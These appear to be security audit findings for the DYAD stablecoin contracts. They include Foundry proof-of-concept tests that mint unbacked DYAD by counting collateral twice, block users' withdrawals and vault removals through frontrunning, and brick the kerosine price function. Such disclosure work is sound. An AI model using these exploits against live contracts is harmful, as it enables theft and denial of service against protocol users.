DYAD - TheSavageTeddy's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L67-L78

Vulnerability details

Invalid vault validation allows kerosine to be used as exogenous collateral, and collateral to be counted twice

When minting $1 DYAD, a user must have at least $1.50 worth in assets in collateral to back it - the collaterization ratio is 150%. Both kerosine and exogenous (non kerosine) assets can be used as collateral, but an important note is that there must be at least $1 worth of exogenous collateral (getNonKeroseneValue()) per minted DYAD.

  function mintDyad(
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L156-L169

However, when adding a vault to a dNFT position, there is no check for whether a vault is a kerosine vault or exogenous vault.

  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L67-L78

This allows users to add a kerosine vault as a non-kerosine vault, using kerosine as collateral to mint DYAD.

There is also no validation preventing a vault from being added as both an exogenous vault and kerosine vault, so the same vault can be added as both types, causing its collateral to be counted twice.

There is currently a separate bug prevent kerosine vaults from being added with addKerosene(), however the sponsor confirmed in private thread to still look into vulnerabilities as if it is fixed:

"by the way, becuase of this bug i cannot add kerosene vault. however, if this is fixed, i see another issue arising, shall i make a report for it, with the only source code change being kerosineManager -> vaultLicenser ?" - TheSavageTeddy

"yes pretend this is fixed! good point" - shafu (Sponsor)

Thus this report will contain 2 separate PoCs demonstrating the impact of this bug.

Impact

Users can use kerosine as non-kerosine collateral, allowing them to mint DYAD without backing it with exogenous collateral.

This goes against the protocol's goals as stated here (scroll to "Dollar Rule Equations"): https://dyadstable.notion.site/DYAD-design-outline-v6-3fa96f99425e458abbe574f67b795145

As the price of kerosine is directly correlated with the amount of DYAD minted, this can destabalise their prices.

When adding kerosine vaults through addKerosene() is fixed, this bug will also allow the same vault to be used as both exogenous and kerosine collateral, leading to the value of the collateral to be counted twice, allowing users to mint DYAD without actually having enough collateral to back it at a 150% collateralization ratio.

Proof of Concept

This PoC shows alice being able to mint DYAD using only kerosine as collateral, providing no exogenous collateral.

Add this test to test/fork/: https://gist.github.com/TheSavageTeddy/542a5b63e6bed9ab19eae984ce4e22d2

Run the test with forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testKerosineExogenousCollateral" --fork-block-number 19693723 -vvv

A snippet of the PoC code is shown below:

  function testKerosineExogenousCollateral() public {
    // license the new vault manager v2
    address MAINNET_LICENSER = address(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85);
    vm.prank(Licenser(MAINNET_LICENSER).owner());
    Licenser(MAINNET_LICENSER).add(address(contracts.vaultManager));
    
    // create DNFT for alice
    DNft dNft = DNft(MAINNET_DNFT);
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    vm.stopPrank();

    // create DNFT for bob
    vm.deal(bob, 10 ether);
    vm.startPrank(bob);
    uint bob_id = dNft.mintNft{value: 1 ether}(bob);
    vm.stopPrank();

    // faucet some WSTETH
    uint WSTETH_AMOUNT = 300e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), WSTETH_AMOUNT); 
    // give bob some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(bob, WSTETH_AMOUNT);
    // give alice some kerosine
    address kerosine_uniswap = address(0x34a43471377Dcce420Ce8e3Ffd9360b2E08fa7B4);
    uint KEROSINE_AMOUNT = 10000000 * 1e18;
    vm.startPrank(kerosine_uniswap);
    contracts.kerosene.transfer(alice, KEROSINE_AMOUNT);
    vm.stopPrank();

    vm.startPrank(bob);
    // bob adds wstETH vault to his DNFT position
    contracts.vaultManager.add(bob_id, address(contracts.wstEth));
    // bob deposit wsteth
    // this is just so that vaults have enough assets to
    // satisfy invariant TVL > DYAD total supply
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(bob_id, address(contracts.wstEth), WSTETH_AMOUNT);
    vm.stopPrank();

    vm.startPrank(alice);

    // alice adds unbounded kerosine vault to her DNFT position,
    // as a non-kerosine vault
    contracts.vaultManager.add(id, address(contracts.unboundedKerosineVault));

    console.log("non kerosine value:", contracts.vaultManager.getNonKeroseneValue(id));
    console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice());

    // deposit kerosine
    IERC20Minimal(address(contracts.kerosene)).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.unboundedKerosineVault), KEROSINE_AMOUNT);
    // notice the non kerosine value increased, despite the asset added
    // being kerosine
    console.log("non kerosine value:", contracts.vaultManager.getNonKeroseneValue(id));
    console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice());

    // alice mints dyad, using kerosine as exogenous collateral
    uint nonKeroseneValue = contracts.vaultManager.getNonKeroseneValue(id);
    contracts.vaultManager.mintDyad(id, nonKeroseneValue/3, alice);

    console.log("non kerosine value:", contracts.vaultManager.getNonKeroseneValue(id));
    console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice());
  }

Output:

  non kerosine value: 0
  kerosine price: 853883
  non kerosine value: 85388300000000000000000
  kerosine price: 853883
  non kerosine value: 79598200000000000000000
  kerosine price: 795982

There is another separate PoC below, which demonstrates adding the same vault as both a non-kerosine and kerosine vault, causing the collateral to be counted twice, leading to DYAD being minted without enough collateral backing it.

Note: as explained before, to fix the kerosine vault licensing bug, source code changes are required to be made as follows:

• In VaultManagerV2.sol:
  • change line 88 to:
    • if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); (keroseneManager -> vaultLicenser)
  • change line 280 to:
    • if (vaultLicenser.isLicensed(address(vault))) { (keroseneManager -> vaultLicenser)

PoC Code (add to test/fork/): https://gist.github.com/TheSavageTeddy/3e5afb610cfd4a6b0435590bb91f7abe

Run the test with forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testDoubleCollateralUse" --fork-block-number 19693723 -vvv

A snippet of the PoC is shown below:

  function testDoubleCollateralUse() public {
    DNft dNft = DNft(MAINNET_DNFT);
    address DYAD = address(0x305B58c5F6B5b6606fb13edD11FbDD5e532d5A26);

    // license the new vault manager v2
    address MAINNET_LICENSER = address(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85);
    vm.prank(Licenser(MAINNET_LICENSER).owner());
    Licenser(MAINNET_LICENSER).add(address(contracts.vaultManager));
    
    // create DNFT for alice
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    vm.stopPrank();

    // create DNFT for bob
    vm.deal(bob, 10 ether);
    vm.startPrank(bob);
    uint bob_id = dNft.mintNft{value: 1 ether}(bob);
    vm.stopPrank();

    // faucet some WSTETH
    uint ALICE_WSTETH_AMOUNT = 10e18;
    uint BOB_WSTETH_AMOUNT = 300e18;
    vm.startPrank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    // give alice and bob some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(bob, BOB_WSTETH_AMOUNT);
    IERC20Minimal(MAINNET_WSTETH).transfer(alice, ALICE_WSTETH_AMOUNT);
    vm.stopPrank();

    vm.startPrank(bob);
    // bob adds wstETH vault to his DNFT position
    contracts.vaultManager.add(bob_id, address(contracts.wstEth));
    // bob deposit wsteth
    // this is just so that vaults have enough assets to
    // satisfy invariant TVL > DYAD total supply
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(bob_id, address(contracts.wstEth), BOB_WSTETH_AMOUNT);
    vm.stopPrank();

    vm.startPrank(alice);

    // alice adds wstETH vault to her DNFT position,
    // as a normal (non-kerosine) vault
    contracts.vaultManager.add(id, address(contracts.wstEth));
    console.log("alice USD worth", contracts.vaultManager.getTotalUsdValue(id));
    
    // alice deposits wstETH as collateral
    IERC20Minimal(address(MAINNET_WSTETH)).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), ALICE_WSTETH_AMOUNT);
    // this is how much her actual wstETH collateral is worth
    uint collateralWorth = contracts.vaultManager.getTotalUsdValue(id);
    console.log("alice initial collateral USD worth", collateralWorth);

    // alice adds the same wstETH vault to her DNFT position,
    // this time as a kerosine vault
    contracts.vaultManager.addKerosene(id, address(contracts.wstEth));
    // her collateral worth has doubled, as collateral from the same vault
    // is being counted twice, allowing her to mint more DYAD than she should be allowed
    // (able to mint $1 DYAD for $1 collateral, CR of 100% instead of 150%)
    console.log("alice USD worth", contracts.vaultManager.getTotalUsdValue(id));
    console.log("alice DYAD", IERC20Minimal(DYAD).balanceOf(alice));
    uint dyadMintAmount = collateralWorth;
    contracts.vaultManager.mintDyad(id, dyadMintAmount, alice);
    console.log("alice DYAD", IERC20Minimal(DYAD).balanceOf(alice));
  }

Output:

Logs:
  alice USD worth 0
  alice initial collateral USD worth 35496491860400000000000
  alice USD worth 70992983720800000000000
  alice DYAD 0
  alice DYAD 35496491860400000000000

Tools Used

Manual analysis

Recommended Mitigation Steps

Add a check for whether a vault is a kerosine vault or 'normal' (exogenous) vault, and disallow adding kerosine vaults as 'normal' vaults, and vice versa.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Attacker can prevent withdrawals by abusing flash loan protection

Protection against flash loan attacks are implemented such that a withdraw cannot occur in the same block as a deposit, for each dNFT id. This is tracked using idToBlockOfLastDeposit.

  function deposit(
    uint    id,
    address vault,
    uint    amount
  ) 
    external 
      isValidDNft(id)
  {
    idToBlockOfLastDeposit[id] = block.number;
    ...
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131

  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  ) 
    public
      isDNftOwner(id)
  {
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    ...
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

However, since anyone can make a deposit for any valid dNFT, an attacker can observe the dNFT owner's call to withdraw(id, ...) in the mempool, and frontrun it with a call to deposit(id, ...) in the same block, preventing the dNFT owner from withdrawing assets.

Impact

An attacker can frontrun withdraw() with a call to deposit(), preventing assets from being withdrawn for any dNFT, at no cost.

Proof of Concept

In the below PoC, alice deposits 10 wstETH into her dNFT. She then tries to withdraw 1 wstETH, however the attacker, bob, frontruns her withdraw transaction by depositing 0 tokens into her dNFT, causing her withdraw to fail.

PoC script (add to test/fork/): https://gist.github.com/TheSavageTeddy/21d6facf235d120554725dcdb058959a

Run forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testWithdrawDOS" --fork-block-number 19693723 -vvv

A snippet of the full PoC is shown below:

  function testWithdrawDOS() public {
    // create DNFT for alice
    DNft dNft = DNft(MAINNET_DNFT);
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    contracts.vaultManager.add(id, address(contracts.wstEth));
    vm.stopPrank();

    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // faucet some WSTETH
    uint AMOUNT = 10000e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), AMOUNT); 
    // give alice some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(alice, 100e18);

    // alice deposits assets into her dnft
    vm.startPrank(alice);
    console.log("alice wsteth bal:", IERC20Minimal(MAINNET_WSTETH).balanceOf(alice));
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 10e18);
    vm.stopPrank();

    // mine 1 block
    vm.roll(block.number + 1);

    // alice wants to withdraw some assets. bob sees her transaction in the mempool
    // and frontruns it with a deposit transaction in the same block
    // to prevent alice from withdrawing
    vm.startPrank(bob);
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 0);
    vm.stopPrank();

    // alice fails to withdraw
    vm.startPrank(alice);
    vm.expectRevert(DepositedInSameBlock.selector);
    contracts.vaultManager.withdraw(id, address(contracts.wstEth), 1e18, alice);
    console.log("alice wsteth bal:", IERC20Minimal(MAINNET_WSTETH).balanceOf(alice));
  }

Output:

[PASS] testWithdrawDOS() (gas: 503231)
Logs:
  alice wsteth bal: 100000000000000000000
  alice wsteth bal: 90000000000000000000

Tools Used

Manual analysis

Recommended Mitigation Steps

Perhaps use transient storage to set a boolean deposited when deposit() is called, then check for that boolean in withdraw() to prevent calling both in the same transaction.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68

Vulnerability details

Kerosine price calculation uses already minted DYAD total supply, causing contracts to be bricked

The price of kerosine is calculated by the following formula:

$ X = \frac{C-D}{K} $

Where $C$ is the non-kerosine-TVL (exogenous collateral), D is the total supply of DYAD stablecoins, and K is the total supply of kerosine.

There is the invariant such that $C > D$.

However, in the new kerosine vaults, only the newly deployed vaults will be taken into account for the TVL. This is both in the deployment script and confirmed by the sponsor in the private thread:

"the old vaults count towards the old vault manager. we have to deploy new vaults which will count towards the new vault manager." - shafu

Since the new kerosine vault retrieves the new vaults from the VaultManagerV2, the TVL will initially be 0 as there will be no assets in the new vaults, so the invariant $C > D$ fails.

This causes UnboundedKerosineVault::assetPrice() and functions that rely on it to underflow and revert.

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68

The invariant won't be satisfied unless users deposit collateral into the new vaults equivalent to the DYAD total supply (currently ~$637003 USD) or burn all of their DYAD, both of which are unreasonable assumptions.

Impact

Kerosine vaults (both bounded and unbounded) and the VaultManagerV2 will be bricked on deployment.

UnboundedKerosineVault::assetPrice() and functions that call it will always revert due to underflow. This includes:

• Kerosine bounded and unbounded: getUsdValue()
• VaultManagerV2 (if users use kerosine as collateral):
  • withdraw()
  • mintDyad()
  • redeemDyad()
  • liquidate()
  • getNonKeroseneValue()
  • getKeroseneValue()
  • getTotalUsdValue()
  • collatRatio()

Proof of Concept

Full PoC code here (add to test/fork/): https://gist.github.com/TheSavageTeddy/2702fa1783151f2e4bba9feadbcba047

Run with forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testContractsBricked" --fork-block-number 19693723 -vvv

A snippet of the PoC code is shown below:

  function testContractsBricked() public {
    // license the new vaults
    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // create DNFT for myself
    DNft dNft = DNft(MAINNET_DNFT);
    uint id = dNft.mintNft{value: 1 ether}(address(this));
    // add new wstETH vault to my dNFT position
    contracts.vaultManager.add(id, address(contracts.wstEth));
    // add new unbounded kerosine to my dNFT position
    contracts.vaultManager.add(id, address(contracts.unboundedKerosineVault));
    
    // get some wsteth
    uint AMOUNT = 10000e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), AMOUNT);
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);

    // i cant retrieve the asset price of kerosine
    vm.expectRevert(stdError.arithmeticError);
    contracts.unboundedKerosineVault.assetPrice();

    // other functions are also bricked
    vm.expectRevert(stdError.arithmeticError);
    contracts.unboundedKerosineVault.getUsdValue(id);
    vm.expectRevert(stdError.arithmeticError);
    contracts.vaultManager.getNonKeroseneValue(id);

    contracts.vaultManager.deposit(id, address(contracts.wstEth), 1);
    vm.roll(block.number + 1);
    vm.expectRevert(stdError.arithmeticError);
    contracts.vaultManager.withdraw(id, address(contracts.wstEth), 1, address(this));

    // i must deposit collateral equivalent to DYAD total supply (~$600k USD) 
    // to meet the invariant and cause contract not to brick
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 300e18);
    vm.roll(block.number + 1);
    contracts.unboundedKerosineVault.assetPrice();
    contracts.vaultManager.withdraw(id, address(contracts.wstEth), 1, address(this));
  }

The test should pass.

Tools Used

Manual analysis

Recommended Mitigation Steps

Maybe consider tracking supply of DYAD minted by VaultManagerV2 separately, or take into account the already minted DYAD supply in the kerosine price calculation.

Assessed type

Other

Judge has assessed an item in Issue #615 as 2 risk. The relevant finding follows:

[01] Flash loan attack may be possible to be used to liquidate users The price of kerosine is directly linked with the degree of overcollateralization.

It increases when:

Collateral is deposited in vaults DYAD is burned dNFT positions are liquidated And decreases when:

Collateral is withdrawn / DYAD is redeemed DYAD is minted Lets assume the protocol is running at an average collateral ratio (CR) of 170%. Bob deposits into his vault at a ratio of 160%, a bit above the minimum ratio of 150%. His collateral consists of 60% kerosine and 100% exogenous collateral.

Alice wishes to liquidate Bob. She takes out a flash loan of kerosine and a exogenous collateral, for example, wstETH. She deposits wstETH and kerosine into vaults, with 100% wstETH and 50% kerosine. She then mints as much DYAD as she can, which is equal to 100% of her collateral (all of her wstETH).

As she minted DYAD at a CR of 150%, which is below the average CR of 170%, this decreases the average CR, to lets say, 165%. As the price of kerosine is directly linked to how much overcollateralization there is, the price of kerosine decreases. Bob’s 60% kerosine as collateral drops to <50%, allowing him to be liquidated. Alice liquidates bob, transferring his collateral over into her own dNFT position. She uses this to again, mint DYAD using Bob’s collateral, and repays the kerosine debt by swapping the minted DYAD to kerosine.

This situation is very specific in terms of constraints required, therefore is unlikely to occur, but I think it is still a scenario to consider.

Recommended mitigations would be to disallow liquidations in the same block (or same transaction) as a deposit.

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L94-L104 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L106-L116

Vulnerability details

Attacker can frontrun to prevent vaults from being removed from the dNFT owner's position

When removing a vault from a dNFT position, the vault must have no assets for that dNFT.

  function remove(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
    ...
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L94-L104

  function removeKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (Vault(vault).id2asset(id) > 0)     revert VaultHasAssets();
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L106-L116

However, since anyone can deposit into a dNFT, anyone can prevent a vault from being removed from a dNFT position by observing the call to remove() in the mempool, and frontrunning the transaction by depositing dust amounts to the dNFT.

Impact

Anyone can stop a vault from being removed from a dNFT position, at almost no cost.

If the victim has reached the max vault limit, they must remove a vault before adding a new one to their dNFT position. Therefore this vulnerability may force them to mint a new dNFT to use new vaults.

Proof of Concept

Add this file to test/fork/: https://gist.github.com/TheSavageTeddy/8dd94d8bb6a50459c5900e3b346afca5

Run the test with forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testDosRemoveVault" --fork-block-number 19693723 -vvv

The PoC demonstrates alice attempting to remove a vault from her dNFT position. She can do so as there are no assets in her position, but bob stops her by frontrunning her call to remove(), depositing 1 wei of ether into her dNFT.

A snippet of the PoC is shown below:

  function testDosRemoveVault() public {
    // create DNFT for alice
    DNft dNft = DNft(MAINNET_DNFT);
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    // alice adds wstETH vault to her dNFT position
    contracts.vaultManager.add(id, address(contracts.wstEth));
    vm.stopPrank();

    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // faucet some WSTETH
    uint AMOUNT = 10000e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), AMOUNT); 
    // give bob some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(bob, 1e18);

    // alice has no assets in her position, so she can remove her dNFT
    console.log("alice dNFT position wstETH assets:", contracts.wstEth.id2asset(id));
    // alice wants to remove the wstETH vault from her dNFT position
    // however, bob wants to stop her from doing so.
    // so he frontruns her call to `remove()` by depositing 1 asset into her dNFT
    vm.startPrank(bob);
    IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager), type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 1);
    vm.stopPrank();

    // now alice's transaction to `remove()` will revert due to having assets
    vm.prank(alice);
    vm.expectRevert(VaultHasAssets.selector);
    contracts.vaultManager.remove(id, address(contracts.wstEth));

    console.log("alice dNFT position wstETH assets:", contracts.wstEth.id2asset(id));
  }

Output:

Logs:
  alice dNFT position wstETH assets: 0
  alice dNFT position wstETH assets: 1

Tools Used

Manual analysis

Recommended Mitigation Steps

Allow dNFT owners to remove vaults from their dNFT positions even if it has assets, but have a clear warning that doing so may reduce their collateral and cause liquidation.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L80-L91 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L269-L286

Vulnerability details

Incorrect license check results in the inability to add kerosine vaults to a dNFT position

Users can use kerosine as collateral to mint DYAD. To do so, they must add the kerosine vault to their dNFT position, using VaultManagerV2::addKerosene() to add a new kerosine vault.

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L80-L91

Note that they must not use VaultManagerV2::add(), which is for non-kerosine vaults.

However, VaultManagerV2::addKerosene() checks if the vault is licensed by keroseneManager instead of vaultLicenser. keroseneManager is supposed to be for licensing non-kerosine vaults to be used in the calculation of exogenous collateral TVL, therefore it is not supposed to license kerosine vaults. If kerosine vaults were licensed, kerosine price calculations would revert, bricking contracts.

The same incorrect licensing check is also present in VaultManagerV2::getKeroseneValue()

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      ...
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
        if (keroseneManager.isLicensed(address(vault))) {
      ...
      return totalUsdValue;
  }

Impact

Users are unable to add kerosine vaults to their dNFT position, so they cannot use kerosine as collateral. An attempt to fix this by licensing the kerosine vault would result in all kerosine vaults bricking.

Proof of Concept

Add this test to test/fork/: https://gist.github.com/TheSavageTeddy/f5756c1505477380ea61aa2a652c995b

Run the test with forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testAddKerosineVault" --fork-block-number 19693723 -vvv

A snippet of the PoC code is shown below:

  function testAddKerosineVault() public {
    // license the new vaults
    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // create DNFT for myself
    DNft dNft = DNft(MAINNET_DNFT);
    uint id = dNft.mintNft{value: 1 ether}(address(this));
    // add new wstETH vault to my dNFT position
    contracts.vaultManager.add(id, address(contracts.wstEth));
    
    // try to add unbounded kerosine vault to my dNFT position
    // reverts since the vault is not licensed by keroseneManager
    vm.expectRevert(VaultNotLicensed.selector);
    contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault));

    // license the kerosene vault by kerosene manager,
    // which we are not supposed to do since kerosene manager
    // should only license non-kerosene vaults
    vm.prank(contracts.kerosineManager.owner());
    contracts.kerosineManager.add(address(contracts.unboundedKerosineVault));

    // now we can add kerosene vault
    contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault));

    // however, this bricks the unbounded kerosine vault as it is missing the
    // variable `oracle`.
    // adding kerosine vault to kerosine manager is definetly not a solution, as
    // the TVL used in kerosine price calculation must not contain the TVL of kerosine
    vm.expectRevert();
    contracts.unboundedKerosineVault.assetPrice();
  }

The test should pass.

Tools Used

Manual analysis

Recommended Mitigation Steps

Check if the vault is licensed by vaultLicenser instead of keroseneManager, similar to VaultManagerV2::add().

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
-   if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+   if (!vaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
-       if (keroseneManager.isLicensed(address(vault))) {
+       if (vaultLicenser.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

Assessed type

Other